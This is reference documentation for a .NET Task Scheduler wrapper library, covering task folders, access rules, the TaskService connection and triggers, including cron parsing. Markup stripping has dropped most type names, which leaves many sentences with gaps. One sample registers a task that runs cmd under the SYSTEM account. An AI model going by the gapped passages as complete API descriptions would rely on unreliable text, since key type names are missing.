levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value 